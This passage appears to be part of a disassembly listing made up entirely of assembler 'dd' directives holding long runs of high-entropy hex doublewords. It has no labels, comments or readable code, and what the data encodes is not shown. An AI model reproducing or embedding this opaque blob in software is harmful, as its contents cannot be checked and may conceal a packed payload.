		dd 0F36B0E60h, 10974247h, 0B33DF1Ch, 362B1723h,	95706018h
		dd 0CA9CC507h, 75001AE2h, 0D3D5B6D1h, 0E028B6E0h, 0FEB5426h
		dd 0A0568132h, 2101D76Bh, 3D5F6BF3h, 648300D0h,	103B3FD5h
		dd 1D9B06E1h, 4948C4F6h, 943D1607h, 2F5086F3h, 261FAAC1h
		dd 2F5570Fh, 0A0C93A66h, 0E871E451h, 224A5D18h,	783EF090h
		dd 6F452D90h, 7691B417h, 80620A87h, 0C0678CBCh,	0DE894138h
		dd 0AC662004h, 129E9488h, 0CB883FA4h, 0C7B1C83Ch, 0C95EF0C1h
		dd 0B7979E7Dh, 68160590h, 8078DB46h, 593FD2EFh,	2211098Eh
		dd 0C86218F5h, 8AC6D460h, 60F75D80h, 0A79B703Eh, 0E47BFFC3h
		dd 0BD5C8803h, 0E91F71BCh, 7434C955h, 5F7066h, 3E426A1Ah
		dd 2AFB3AE1h, 8B6C3600h, 0FE39EB8Fh, 0AE333827h, 5DC22B80h
		dd 0A6775ECBh, 9B00D290h, 595A8E5Ch, 5BBE6Ch, 7B3ACF39h
		dd 0F0346E66h, 9A5F6400h, 8DAD0B06h, 0FCA9057Ah, 0C131E5B4h
		dd 47E7C8B5h, 892A80D7h, 0B169504h, 7F039CCEh, 0F8A5A159h
		dd 0D344C2h, 3DE75CBh, 0EB3EA718h, 0F23F7301h, 768B42BCh
		dd 0FDBEE9C8h, 5DA0E0h,	8594B021h, 2A684FEh, 0EEF54506h
		dd 82875F8h, 55254FF4h,	0C3A20480h, 0E8C2299Ah,	0FEF845h
		dd 0E5F186EBh, 0A2D2591h, 0A8C9B133h, 9E94F06Ah, 3CE6006Eh
		dd 849FD010h, 1E003DB6h, 402D18D9h, 1C767401h, 3A18E03h
		dd 16259C04h, 0C42090BCh, 0BB0083B5h, 42B46548h, 0A0439D67h
		dd 0F2E9B5h, 0A190B3B8h, 76ABC15Bh, 1F3ABB00h, 8596D387h
		dd 6BF630A6h, 0C68FE160h, 0E393F201h, 1CE7445Bh, 0A673F8h
		dd 3ACCE9FFh, 0AE7E26F9h, 2FB08777h, 39C8B00Ah,	1706DAC4h
		dd 22985E79h, 8D00BE44h, 0E0FCB2B0h, 9D5FD1h, 0CAA81003h
		dd 0ED12757Eh, 3FB8C601h
		dd 0E2E47B4h, 0F4DC16E0h, 787E0027h, 84D224DAh,	0D401072Ch
		dd 90E092E6h, 83FD4DEAh, 7CDE7BD4h, 0E94E60D9h,	76CE204Ah
		dd 3F72C0A8h, 69EAC600h, 44084F1Dh, 0FDE700CCh,	0F48B520Ch
		dd 3700DC05h, 0ED73FF7Ah, 1D4A0Dh, 7F19FA42h, 29DA3F39h
		dd 49590509h, 0CA0420CFh, 0FBF79Ah, 2BB36725h, 53F0A71h
		dd 0ACF0B600h, 0F940246Eh, 8F449EAh, 1F3CE800h,	4B1ACA5Ch
		dd 0B4276704h, 0E890A3ADh, 0D0865B8h, 79AA4060h, 20C4030h
		dd 0D0181AEFh, 0A7A8996Dh, 83FB07B6h, 0D04A0F05h, 0C255ACDAh
		dd 0BEB87B60h, 6A5E9Bh,	4D143FCDh, 0CCF7D1Fh, 1F02B00h
		dd 2FC8DBECh, 0A0BD006Ah, 0CD961A28h, 6F1F89DDh, 0E9055B9Ah
		dd 984083D9h, 475CA077h, 0EABA0063h, 69CEEBD0h,	0A402F06Bh
		dd 0E539EC8h, 0BB3E60D8h, 11233C0Ch, 31B06680h,	622AF268h
		dd 0A9EE0102h, 0E861BE72h, 0F7DA560h, 0AE11D317h, 80D45B8Ah
		dd 7A761C4Eh, 67031279h, 2CD7BDDDh, 0D4BB80DFh,	0C9EE004Ch
		dd 0B99FEB2Fh, 14003B9Ch, 0C7F92ED6h, 0A0DAF1h,	0D549546Bh
		dd 0CC802DE9h, 0F1291137h, 3DE5C4A0h, 0CDD418DDh, 1F497156h
		dd 80F4A779h, 2F76DF0Ah, 1880A0E0h, 23CBF642h, 30017950h
		dd 9818798Ch, 0BF0A55ECh, 90A5B814h, 0F4497880h, 169531E2h
		dd 0F4CB4288h, 48005C54h, 0BF43BC1Fh, 1C1A3DBEh, 7420D4Ch
		dd 0A97495h, 6632868Fh,	26700107h, 7D8073D2h, 0AA065Dh
		dd 0DBFFBDCh, 74A89DA9h, 3779780Fh, 140BEE8h, 3E93D5B0h
		dd 8C2D0036h, 64B31C0Dh, 600F6A5h, 8F5D85ACh, 281618B7h
		dd 1CCC6AC6h, 40B4D752h, 916172EBh, 5777C5C9h, 62190300h
		dd 0D0F60E70h, 3FDE02B9h, 0E173324Fh, 577FC360h, 39D5BC3Dh
		dd 0F05080EBh, 0D8B9E6F9h, 0F2480BF5h, 0F80A2EDh, 2E32775Ah
		dd 562B5100h, 0A987F1F7h, 0A45D3899h, 91135880h, 712D45D1h
		dd 7CB4B900h, 8FE72C79h, 0F5860351h, 1DCE4F6Bh,	4532C5E0h
		dd 0FF969000h, 0A380692Ah, 0D92200DEh, 0F351B155h, 0B2011D84h
		dd 2CCF1327h, 24203B99h, 9A4D1E6Ch, 50FF40D2h, 6EF948ACh
		dd 39CC0D1Dh, 0C5210741h, 0D0509E5Ch, 2AA4712Eh, 0EE46AE1h
		dd 633D7B5Eh, 1E47B8A0h, 0C70560A9h, 0C9136F76h, 6E148C00h
		dd 0E6BF435h, 0FDE9E8BAh, 0F52E780h, 0E130132Ah, 37F026FCh
		dd 0A09E1F63h, 0C948C07Ah, 3FB5E512h, 86411F1Dh, 1409EFC3h
		dd 0E6A9E060h, 901E7CDDh, 0B83F051Dh, 90457668h, 54859C0h
		dd 0DB07D0Eh, 0A31380DEh, 7033D1Fh, 7247E433h, 40B1C0BAh
		dd 7000F42Dh, 7B888B51h, 61C21C57h, 0F0B2106Fh,	8793EC74h
		dd 1A3C2201h, 0B4663EC4h, 0A8D4E8h, 0EB9B30DFh,	0A9918945h
		dd 6E5F9700h, 58F9F719h, 34AF00A4h, 0E9D01171h,	660648ECh
		dd 0BEA78C84h, 88B46261h, 64F05F99h, 0E305ADECh, 7D6AD907h
		dd 57F32AC1h, 0B508CCh,	8B2F2606h, 0D54801A3h, 9E419B03h
		dd 0F865240Dh, 0F0C76C2Dh, 289B046h, 8FDFF862h,	96E3A6EFh
		dd 0FF308090h, 6104EC2Ch, 9455CD01h, 0A0EC5D10h, 0AE14044Fh
		dd 0C075D845h, 0BAE7357Eh, 0AF000776h, 0B918E802h, 0B20954h
		dd 9E6401B0h, 0DD57C783h, 0E5A83200h, 906FDB37h, 43FC0313h
		dd 8C94D8A3h, 0B76433B7h, 44EBDE80h, 708A0D4h, 0E9E2BF74h
		dd 7D94C150h, 0AAF2024Ah, 739ADC46h, 42B20E0h, 0FEAF3F0Fh
		dd 419DE028h, 0F05ADBh,	9094C336h, 0B3CE5DFDh, 41DF4Ch
		dd 9C4447BFh, 7E45D46Ah, 41AA00C7h, 0A2666B4Ch,	2700C276h
		dd 69331B2Fh, 0D6FD08h,	953E0348h, 8D4C57C4h, 0B3A86800h
		dd 8075AE82h, 37C700A1h, 7FDA70F6h, 910F5697h, 60743051h
		dd 0BBE4A86Bh, 1D67765h, 0F3D7ABFEh, 407BB0BFh,	0E9D242A4h
		dd 0B36CFC00h, 697521FFh, 0CDE0031h, 0F5E12F4h,	7409B76Bh
		dd 68CB80ABh, 0B0A34408h, 44800E4h, 7B84A70Dh, 9E0F5590h
		dd 20E0FF52h, 502C35E1h, 7DBE0F5h, 2891861Bh, 0D7FF800Fh
		dd 0A40088A8h, 12030729h, 28428739h, 2F30A12Ch,	88A05285h
		dd 3C8EE012h, 0CB127CF0h, 14A18BA2h, 74930020h,	0F7589FA7h
		dd 0C800F0BAh, 0E83B31C3h, 0E043CB7Bh, 5187007Ch, 0A33580AFh
		dd 3A00B03Ch, 3106C9DAh, 362A2A9h, 4D87FB33h, 0DE8872FFh
		dd 385F3A8Dh, 93259041h, 94E1CAD8h, 960BE429h, 20C8409Dh
		dd 3D00BA90h, 706C4725h, 0B0AA934Ch, 0F8B62880h, 0DECA184Ch
		dd 0AEBF3131h, 0BA33F119h, 18FC2D08h, 0B310A9CBh, 431F3880h
		dd 21C5A9D8h, 97483500h, 2B9E40BCh, 327C0077h, 4AE4AF3Ch
		dd 0B71D3455h, 255C978Eh, 0CBD47F43h, 0A745C856h, 38F424h
		dd 33E83F5Dh, 4F7E2087h, 0D007A075h, 4EC35CB8h,	0E5FE9680h
		dd 1D736Ch, 8D41D784h, 0F777B9A5h, 1F345013h, 854D2890h
		dd 0FF01F10h, 6EF60051h, 55A9014Ch, 0C07CAFBFh,	4B3F1E5Ah
		dd 9BC38EBh, 0CC52007Eh, 0C39EF26Ch, 5F00F8CEh,	0BAFF87CDh
		dd 9C98606h, 3E198943h,	0B2090C50h, 0F350EF73h,	3EAE783Ch
		dd 68E8F725h, 2A8888Ch,	0B352C7A4h, 9C5C3AD5h, 0BC102404h
		dd 0A22540A8h, 72445467h, 1300FE67h, 46B9A68Ch,	97AF34BCh
		dd 9CEB910Ch, 86F81A41h, 1980EA5Eh, 46B53151h, 4E002083h
		dd 93CE3E1Fh, 0E2C1C6h,	766DEA3Dh, 22B90121h, 0DC6EA54Eh
		dd 3F111E07h, 559A799h,	4AB8EC41h, 6C87C8Bh, 0F9BDE3C0h
		dd 0EFE40046h, 6CD958CBh, 0BA12E523h, 0FCA0557Eh, 9B820A27h
		dd 28888B70h, 5E6CB6ECh, 8D004F46h, 4BCAD0E1h, 0EC521FA8h
		dd 5CC84EE4h, 0FB650E18h, 90A0C466h, 930F4C63h,	1000E970h
		dd 0CD71F0ADh, 18BED743h, 88346403h, 922DD8E8h,	0FDF0E8B0h
		dd 6F214F9Ah, 6FB20BF4h, 94BE00BDh, 251E3E72h, 48E4E984h
		dd 813F393Dh, 96F577ADh, 2E2AA004h, 1CE82388h, 23AFC0BFh
		dd 0D9A09BE4h, 644B1074h, 0A05D34C8h, 574818h, 2DA84E06h
		dd 0B5C80D14h, 86428300h, 0F1C7F062h, 545C1635h, 1CB0E031h
		dd 0C6B020BFh, 3419601Dh, 0FCB85551h, 0FBB1B028h, 709E804Ch
		dd 57BC9309h, 3E80F021h, 0CB40A352h, 942A1200h,	66B1DCC0h
		dd 6B6C0239h, 19AC379Fh, 9D57A0C2h, 97DF8864h, 0E05B1B60h
		dd 227FF348h, 0C520A25Ch, 0F5501714h, 0DF73E6D0h, 3A370059h
		dd 0A220DCEFh, 0CD25F8B6h, 0C507CECCh, 9AD162D0h, 0BB3B9CD8h
		dd 56D98911h, 38D003BAh, 6A61FAE3h, 79D4D920h, 126B1872h
		dd 0F422A586h, 9D00D224h, 84F22775h, 95214FBAh,	0EE2370A0h
		dd 29D66A22h, 0E600D4E2h, 96E36D75h, 9438E84Bh,	2D3F0ED6h
		dd 4AC1449Dh, 1025AD43h, 5440EE8Ah, 3D285941h, 3C12F892h
		dd 80E38E54h, 0A730ADE2h, 0DF650496h, 864B1BB2h, 1DB79828h
		dd 9DEB91B0h, 0DD935B44h, 9640ACh, 5991CFADh, 0F20EC340h
		dd 47E3A5ECh, 5FD2CA51h, 352080E6h, 0DC3A16h, 0F260161h
		dd 8B29A6A3h, 0AD0F212h, 5CACCE0h, 1F97694h, 0E98E9BAh
		dd 65286AC1h, 0DC8817F4h, 0BEC7BB5h, 0CA88EFDEh, 445154F3h
		dd 0DF029018h, 5EA9BBF4h, 8F5883E8h, 6B99A04Fh,	44C100D3h
		dd 0C83BE258h, 22015020h, 0BA55B2C9h, 112FAC10h, 40B9A87Ch
		dd 0EFB71531h, 678A297h, 0F45CD44Ch, 54E3D804h,	4885EE5h
		dd 2996016Ch, 8505D55Ah, 60B14015h, 0D700E5BEh,	1CC3213Eh
		dd 1F96EFF7h, 4036E776h, 0E052AEEBh, 5307558Ch,	0F1788497h
		dd 0CECF1E90h, 0D7880EADh, 838FAE16h, 29912078h, 0CD9B5300h
		dd 87E5861h, 0ED9E7C78h, 703B7CECh, 141C01DCh, 21A38211h
		dd 7560D8A7h, 0F2D2DA07h
		dd 0EF11D630h, 0E1DC5A69h, 7950638Bh, 80AF2EC1h, 74AEE64h
		dd 91FE0802h, 573036h, 41F53358h, 0FDD7BA01h, 0CDD054E8h
		dd 216A0898h, 4107E015h, 7C6F7E80h, 9669A6EEh, 1BEAD9h
		dd 4FD7A165h, 580A91C3h, 886A2518h, 26E497B8h, 3A0495BAh
		dd 3933686h, 0DC600894h, 95C2C621h, 0B83A738Bh,	0B8350070h
		dd 23C9F0F2h, 58DD9FE9h, 669F7CFh, 10AEA1h, 89250275h
		dd 0B2315F91h, 2076DD0Eh, 0B0161B7h, 40482158h,	0DC9508BEh
		dd 0F8C4C46Bh, 95C6C240h, 0D230F485h, 0AF5F155h, 0C4890E93h
		dd 0D0958B59h, 0D2C32600h, 7C2DBF63h, 85BCF728h, 1E24DF0h
		dd 8919EE02h, 0AF523AF8h, 73DA07BCh, 9A87E845h,	8A437B00h
		dd 0FA150169h, 78177C0Ah, 2098428Eh, 1495BF30h,	588C6BD9h
		dd 95C7C3A0h, 61257200h, 0C684EC76h, 1493497Ah,	151AB700h
		dd 743908EEh, 0C9125619h, 2180A008h, 0D41532D1h, 0CFF26723h
		dd 9E01CAE6h, 36C01FEh,	0B040C3F1h, 0C0831362h,	3F656971h
		dd 2AF0095Fh, 0B90454A4h, 0DC6BF795h, 0C520D962h, 38B595C1h
		dd 90812BCAh, 68D2CE87h, 9A2181F3h, 6A86F7A1h, 849660h
		dd 0E51223F5h, 53AA0BFEh, 77C8720Ch, 6BB9A5h, 0C3E4F7CCh
		dd 21D5F812h, 0CAE22000h, 0D44F7240h, 0A3F30170h, 6B569857h
		dd 30C02038h, 8BE85954h, 18BDD003h, 90550615h, 76400B0Eh
		dd 0BA28CBBBh, 50CC5E00h, 0C8A18A44h, 8BB1824h,	0AC6BF595h
		dd 0C740F6C4h, 0DBCF95C3h, 3CDDE005h, 0F4007A6Ch, 91F95854h
		dd 1B49334h, 0D7C041DFh, 886B18CDh, 411FE213h, 9B8224EFh
		dd 98256360h, 907A67C4h, 0DBCD0C7Ch, 0F2F0F534h, 0EE7A800h
		dd 3DD5EDF1h, 78238391h, 41DA0133h, 18E5D7BFh, 0E110882Ch
		dd 62A2410Eh, 14EF60D5h, 0DE1A4Bh, 0D33DF06Eh, 4056A76Fh
		dd 32461C98h, 0BE41D902h, 2E31DDD7h, 41E41110h,	779C6C00h
		dd 0C21A6599h, 5A1E373Ah, 0CC91E21h, 36518C18h,	10725437h
		dd 0E96130A7h, 7026C884h, 28151C02h, 9931C909h,	1534D710h
		dd 0B319CD00h, 264D8DDFh, 97C92489h, 60C26498h,	29F2151Eh
		dd 40281908h, 41536CDh,	0AB7D9301h, 0CF6F09BAh,	0A0E960D4h
		dd 0C9CACC0h, 0D9F0C3CDh, 3E13DF10h, 2C001447h,	6CA7AA6Dh
		dd 884F41B8h, 12EECC28h, 0F884206Ah, 5638B76Ch,	0B27EA61Ah
		dd 5D630E00h, 13C69B9Eh, 43513BC5h, 92DD8928h, 69ED9901h
		dd 8550D766h, 8CE73460h, 1D1F2A75h, 0BEA116CFh,	221898C4h
		dd 70BE3C53h, 0BC90C0EFh, 8BD4899Bh, 0BC813892h, 81918C5h
		dd 2108EF15h, 0D440B6C4h, 0C8331531h, 17AF1B00h, 978FD7BDh
		dd 0CC2613B0h, 23543AA7h, 0FBEB009Fh, 0B054CB4h, 82CD9302h
		dd 61544280h, 8155250h,	0BDC026D8h, 466BDB95h, 0F522BCh
		dd 0B995C5C1h, 0C2461089h, 5EDF5F13h, 0C3A50401h, 2435CE18h
		dd 0DE23E437h, 2011793Dh, 8088FECFh, 53239380h,	0F1486C8Eh
		dd 0ACDC89ECh, 0EF6007DCh, 34236A95h, 3EB8C08Eh, 210BEE54h
		dd 21D8D580h, 0FD2EDDCh, 54DE3982h, 8C407194h, 69D6A08Bh
		dd 8123303Ah, 1B13A02h,	61F86020h, 68F3809Bh, 918544h
		dd 49287DD1h, 1557F4CCh, 0A03F1EAh, 0B95CD45h, 0E278239Dh
		dd 1C47271Dh, 64E81ECFh, 1F805C7Bh, 432EA453h, 38E301B9h
		dd 0AFC2F217h, 8839D04Eh, 0EA59BC01h, 0E718DC57h, 18456C34h
		dd 0A08C2FD3h, 9B04D4D2h, 3191F8B9h, 48DC40D8h,	0F5263641h
		dd 0E3167040h, 4BA84101h, 0F0E9B85Eh, 0D3CFC9C7h, 6889DEFDh
		dd 0DE83450Ch, 1016E034h, 20214012h, 89015B48h,	8C32A9D3h
		dd 1D80C111h, 108F315h,	0D09E448Ch, 5D153500h, 7BD37E09h
		dd 0F9D0CBAAh, 0C300C0B7h, 595BD632h, 0C1CBF6C5h, 623DA8B0h
		dd 1C606353h, 22D721EDh, 0C0238408h, 6BDA95C0h,	0DB229446h
		dd 95C8C400h, 4DDEDCBFh, 5781069Dh, 68EA54D4h, 0B6D1C491h
		dd 2F00221Ch, 30EE6C13h, 580646CBh, 0DCBCB00Bh,	1F37B8Ch
		dd 0EA09340Eh, 40AD8D1Bh, 3FAB2AA4h, 0E42D4B2Ch, 7A406184h
		dd 2A894D8h, 54DF5955h,	0A04279FCh, 0F7441847h,	36A1BE61h
		dd 0CA5F004h, 47BC046Fh, 90DD8BCFh, 6A03ED70h, 25652C00h
		dd 27130A1Ah, 499404D7h, 405A2F0Fh, 0E8F177A5h,	2081F5BFh
		dd 30744F79h, 32D9105Fh, 8D770016h, 71480805h, 0CF0D9961h
		dd 68EB10C3h, 3C63EE8Ah, 6778190h, 60535996h, 121276ECh
		dd 0E83A440Bh, 803D7C23h, 0BF9347F3h, 6267E383h, 0CC6878E5h
		dd 0A102A802h, 542D84A0h, 0AC04B1BCh, 0C856133Fh, 758CE1ACh
		dd 0CF1B1428h, 82883C26h, 53209680h, 13CE7674h,	49D33FAAh
		dd 9B860BDCh, 810F1E6h,	3C7541F7h, 4E30A720h, 8DDB8961h
		dd 3EED89C1h, 9421148Bh, 0DBE2C072h, 56C45C31h,	1483272h
		dd 0C869E9C8h, 0FAED18E4h, 0EECF211Ah, 532595C0h, 5E7000D2h
		dd 23D36FC5h, 4F00BBA8h, 0D57A0AF5h, 0B8358D92h, 0E77C2038h
		dd 0FB6BF804h, 80819C90h, 820E1E3h, 864A8867h, 0AEDAF900h
		dd 0A9333C05h, 9DCD00A1h, 0D2062F40h, 0EA66214Dh, 0C251F86Ah
		dd 0A778586Ah, 8BF28CA0h, 163922A5h, 4F6A9DCBh,	0E17CEC41h
		dd 5C315480h, 85F0B836h, 0F9006C49h, 276855A6h,	0A8A757ABh
		dd 3E51B9D4h, 60CCD41Dh, 0D7C73203h, 11268024h,	540F8C1Eh
		dd 0E000D29Ch, 1BBEFB6Fh, 2F4F4ABDh, 6823B0h, 0E6931D23h
		dd 0C124A63h, 18D2BB40h, 24392358h, 0DDE1D7B8h,	3FDC4903h
		dd 17763C56h, 16591D80h, 23902F68h, 26710B9Eh, 0C7570402h
		dd 11601512h, 193A8064h, 638F7009h, 372FB83Eh, 907B09B4h
		dd 1203F67Ch, 1A7F36Bh,	9054D028h, 0B4C08B70h, 0F2309151h
		dd 0CD800EEh, 6980A8F4h, 0A099321Bh, 8CC1DEA0h,	9718A588h
		dd 9FF691ECh, 0DEFD66C0h, 6D350280h, 0DEF8A150h, 0B41F830h
		dd 0E915D7B9h, 1A50E416h, 8D3B338Ch, 0B1FE50B8h, 7C2F2724h
		dd 0F929A640h, 982A009Eh, 935C3A63h, 0CB00BA73h, 0C0087DA1h
		dd 94DAFBFh, 0FC07A76Eh, 0D789C840h, 20539CA9h,	57403304h
		dd 2F8B0CD5h, 0EDA09FF1h, 533CD43Ah, 3069A25Ch,	7F00E435h
		dd 0A053FEFCh, 8152AC8Bh, 0E04C6060h, 78608A41h, 0D8A550B9h
		dd 3738A950h, 4108F618h, 0C405D7BBh, 0DD14402Ch, 9EAF141h
		dd 965799C8h, 0E5D22181h, 9851CE68h, 0BCE49525h, 87A100C6h
		dd 0BC1791B2h, 2ED52911h, 39A02190h, 535F790h, 0F4B4AD0Bh
		dd 0FCCB1CD5h, 35C09C88h, 714B0DCh, 0BF52F32Eh,	7773E024h
		dd 1E05E5F6h, 7D9835D7h, 66696490h, 9A2526FAh, 7496DEC0h
		dd 0FB6C2302h, 3064D094h, 2E91A478h, 0BD008760h, 0D2CAEBAh
		dd 0F8F9E5h, 20405D44h,	62515C8Ch, 148E9724h, 91A03Eh
		dd 270741F3h, 37DF119h,	58D112B0h, 1D65BCE8h, 0C0998FD5h
		dd 7613A74Fh, 7C580C2Eh, 26F20070h, 5C5794CDh, 8E881FA9h
		dd 34FE1423h, 8C2FACh, 7A1B7571h, 4E034204h, 3C26C37Bh
		dd 8B8C0C08h, 195161h, 503FE16Fh, 893191C3h, 8420D358h
		dd 1C93EA6Ah, 0A9A2B00Ch, 0E28800ACh, 74BA07FAh, 0A22EE02h
		dd 10F50155h, 6E93BB9Fh, 0DDE04212h, 1FE4EC31h,	86067ECFh
		dd 1F927E44h, 0E4265324h, 0EC3B023Ah, 5479A839h, 0CC1964D9h
		dd 0EC6068DEh, 0C05CFFC1h, 8FD20693h, 19873BFAh, 0B85B880h
		dd 0C3124274h, 740084FCh, 7B548D52h, 0F81989A4h, 8A0903ADh
		dd 852F7C62h, 0ED005A13h, 0D82BAE31h, 0CFB20073h, 0F2396387h
		dd 365395EFh, 3064A2DCh, 6830DA32h, 2D3FA186h, 79B707FCh
		dd 82C1AA6Dh, 0CC405BD7h
		dd 8E058CC8h, 91BB38Dh,	65F81DC2h, 6067E468h, 0C08B7AE2h
		dd 373845E9h, 0A5003FECh, 0CC6E070Ah, 0EDA6F32Fh, 3A89E448h
		dd 23127EC9h, 0F280C47Dh, 306BF250h, 0C13B273Bh, 1E518F36h
		dd 100197E8h, 0AD2E1926h, 4039B420h, 0A28F38Fh,	0F420D07Bh
		dd 54F201E1h, 5C3E5658h, 0A6388553h, 84E6F8E8h,	0B92330E7h
		dd 28B00134h, 1AE95367h, 98765D01h, 0EC10C869h,	3CDE0493h
		dd 0A4878B48h, 0D1A822C2h, 189D7944h, 72993121h, 2E234D8h
		dd 7C4C4439h, 74F5F23Dh, 0F2952CE3h, 8C7108E4h,	0AD00F32Ch
		dd 876A8FB7h, 9E3C071Ah, 24F47EE2h, 0E0E8E6A1h,	16ACCADh
		dd 9C303C3Ah, 3070E1B3h, 7D402418h, 0D9400BC9h,	7023380Ch
		dd 4100868Bh, 2D8390D4h, 79D739B3h, 20FE0FA9h, 0FA6E57F7h
		dd 0D9D48EE3h, 9331C010h, 0F45F3E02h, 58EAC4D0h, 6579A059h
		dd 0CA00B618h, 8CB23614h, 2AB9FBB4h, 5AB08EC7h,	2CC8406Fh
		dd 163FBCF5h, 0E1AF3E00h, 9A851098h, 0CACB044Ch, 4F508A67h
		dd 4423407Bh, 10CC429Bh, 92D5BA35h, 7DC86C8Ah, 0CACD9AC0h
		dd 8C580205h, 0CEF46F9Eh, 50159C5Ah, 1A4BC1Eh, 0D633FB9h
		dd 608257D5h, 922503D3h, 9CAEF4AEh, 43E681BCh, 697D451Bh
		dd 58F2298h, 0C4E3CF24h, 0F844B0D1h, 7AACD88h, 0B7565C2Bh
		dd 88B93080h, 300BD5Eh,	0D3359E76h, 0B1F0CB4Eh,	0B4174968h
		dd 27806711h, 374008EFh, 6D09BC94h, 0E4A84595h,	623B609Bh
		dd 47ED0063h, 964FC559h, 410403E2h, 50181606h, 0BE3EACC0h
		dd 0C2ACB4A9h, 244791FAh, 19602FC4h, 761D706Ch,	6645AD07h
		dd 6480FA43h, 5C6A5CF2h, 0AB97B427h, 16C81D8Ah,	3821E2C0h
		dd 0EF800B60h, 49F56125h, 0FDC4A809h, 0CF95009Ch, 0BE4F1A31h
		dd 0E7005B76h, 0F4BBC2FCh, 0BDC08B35h, 0D66C74h, 0BBC015E6h
		dd 0DF8166F2h, 9CA2F53Ah, 0F4BFF78Bh, 20FFD85Eh, 0FBC4DBD2h
		dd 22710F00h, 57CA11Ch,	0D0810018h, 7237BE09h, 0C71C8059h
		dd 85CE61ADh, 0C1350FD5h, 5AAB4711h, 0ACCFAD7Eh, 0FD10148Bh
		dd 1CE873F4h, 77EE8Ch, 930E5EF0h, 503C94D1h, 0B59D310Ch
		dd 15FA021h, 81FEBF0Fh,	8D28EDBDh, 4207D014h, 3BDF85F5h
		dd 1051FF4Fh, 0CBF99303h, 0FE135EB5h, 1C23CC2Fh, 0B9769C00h
		dd 0A0A4327Fh, 350FBA9Ch, 0FE250C87h, 310496E2h, 11D01BDh
		dd 82995FFh, 5DB50B00h,	900C0660h, 3F92E781h, 0FB5B9FF2h
		dd 211C586Bh, 0FA529934h, 0BABF1005h, 49AA1728h, 72DAFA5Eh
		dd 220A5CC0h, 8D550F47h, 8529C0ADh, 0BA2E2530h,	5E89F8F9h
		dd 300EFFBDh, 164DC68Bh, 0EF81020Ch, 2E8ADD4Ch,	58D2D3F7h
		dd 0C004C75h, 20466332h, 1E42EC4h, 0D54BE66h, 48E9F28Bh
		dd 681395B9h, 0AE004A69h, 8DB2705Dh, 90C76E62h,	46DF022Bh
		dd 72670022h, 2AF47A43h, 1E00FF9Eh, 55F17664h, 0A2257BEh
		dd 0E95E31FEh, 0EF7B0079h, 0AF010F0Bh, 40FB985Bh, 267B8E2h
		dd 8B00CF8Fh, 52AC06FCh, 61D2557h, 94F673C0h, 4920825Eh
		dd 95890D28h, 420C0B75h, 242C1318h, 6F2C4111h, 0E601F4EDh
		dd 0B6D62682h, 0F491E92Ah, 0FF71F7E3h, 459D890Ah, 0C197B917h
		dd 0C002DAEAh, 4B68A796h, 0D58206AFh, 9660BCBEh, 10890644h
		dd 111DCD85h, 0AF6204EBh, 2B070639h, 71C1563h, 59858D0Ch
		dd 0FE96CF26h, 0D3C4E89Ah, 0C069C060h, 5748A26Dh, 583B403Bh
		dd 5090610Eh, 24FC87BEh, 0D77B5E57h, 86A621E8h,	0C862D400h
		dd 4E99F303h, 75D6BF90h, 331716D6h, 2C0BEAC6h, 343576E8h
		dd 0C0D69B4Ah, 0F0C4726Eh, 140C765h, 27035585h,	3918E298h
		dd 707C73F7h, 831392E8h, 636F05C0h, 0C0D1A81Ch,	0BB0D6C50h
		dd 0F112E09h, 0F51F0186h, 48985FCh, 9C278C24h, 11F2341Ch
		dd 35AA8C80h, 0A1FD2CC8h, 3335F893h, 89822342h,	0C3B90045h
		dd 0D88E881h, 6135A7E5h, 74A97A26h, 8D48EFACh, 17A51340h
		dd 0AB31A922h, 1EE8F5A8h, 9D009480h, 6CFCF90Ah,	79AE719h
		dd 0B05346D4h, 82ABD78Dh, 0D3F70938h, 0D64258A2h, 6467AA00h
		dd 0FF0BB629h, 2F32B0D3h, 37D53009h, 8CAB814Ch,	331D0C8Dh
		dd 705F003Ch, 7F74FEC4h, 0D6DEF847h, 53D8FE1Bh,	0BF23927Ch
		dd 0ED636D6h, 46FE06AEh, 14E4C9CAh, 6110B1F2h, 0F0AF4C23h
		dd 80014C86h, 8C04BF66h, 0D19D8B7Eh, 0A6EEFDD5h, 0F7B0B197h
		dd 62C3E3F5h, 0FB9865Bh, 0C1DB0B02h, 1AAFDD6Dh,	3A3755h
		dd 0BD830987h, 98A316B2h, 6684CA1Ah, 0BAF1F754h, 9A181579h
		dd 0B58B9E04h, 43932FC9h, 0AA514A9Ch, 5AC02D9Ah, 68E93469h
		dd 0F5F84D2Fh, 71AC0520h, 0DB00A241h, 34B88320h, 35C0BAEh
		dd 9F078C0h, 248B9D29h,	0E45E842Eh, 0E8A47320h,	958B600Bh
		dd 8C4010D5h, 0B8668804h, 61EBA006h, 0BD153DE9h, 5D6C67Eh
		dd 0F8DDF3E7h, 0E7B3FAD9h, 2761B508h, 29264D21h, 205F9C2h
		dd 25468DF8h, 305348h, 815FCD4Fh, 0E5FEFF23h, 0FDC6CEh
		dd 0BC5773CFh, 0E369634Bh, 0FE41F501h, 0DB8C66EFh, 0AC9EA97Ah
		dd 0BB541DDFh, 11C87EF6h, 0DB1F8634h, 9B8BC028h, 0FED69403h
		dd 0B860005Ah, 6D12DF7Eh, 26A0880Fh, 6B26EA80h,	71156961h
		dd 19874CE4h, 0F709D68Bh, 10D184FEh, 0F5D3BA40h, 0C47B31B1h
		dd 5D9E9800h, 1BC5D724h, 0DE3A4C47h, 0DC9ABF97h, 0C4E8E1C0h
		dd 7105B8B6h, 8AD1B115h, 323960C1h, 0BDB9E901h,	55B59653h
		dd 7B0FC49h, 2D569DDFh,	70E60910h, 0AE3771E4h, 0FF91A81h
		dd 5F29D8B6h, 300294B8h, 0BAFC7458h, 0FB79F506h, 661818D9h
		dd 0D7B64D0Bh, 0E9670537h, 0C97D2700h, 90C40D2h, 4E8C146h
		dd 0F5C3766Dh, 4A97A0ECh, 90751203h, 0F18A0416h, 0F766020Ah
		dd 54541E2h, 0D7938015h, 2B0349ACh, 0BF5693D8h,	6452D970h
		dd 18438C71h, 94DBE4F0h, 504613C2h, 2C5E06C9h, 819BDE97h
		dd 67B3842Bh, 0C425BE5Fh, 489020Bh, 214311Bh, 0C621EF5Eh
		dd 1F1B533h, 3C0E0005h,	91830F61h, 94E80240h, 2230808Ch
		dd 0A36F3A25h, 80F5CA3Bh, 5D73BDB8h, 359F4827h,	43F0987Fh
		dd 6DB50B12h, 0E2F98546h, 0A3C93016h, 6DD8FC67h, 0F5EEE50Dh
		dd 0AB58C27Bh, 0B5730215h, 1D858960h, 0BB0F9850h, 0A92B7FB1h
		dd 911E1F61h, 8F7A8416h, 19B54C80h, 0A518910Fh,	32000B37h
		dd 1C5848DAh, 0C4D800B7h, 84BEB026h, 333D341Bh,	0BC6C592Bh
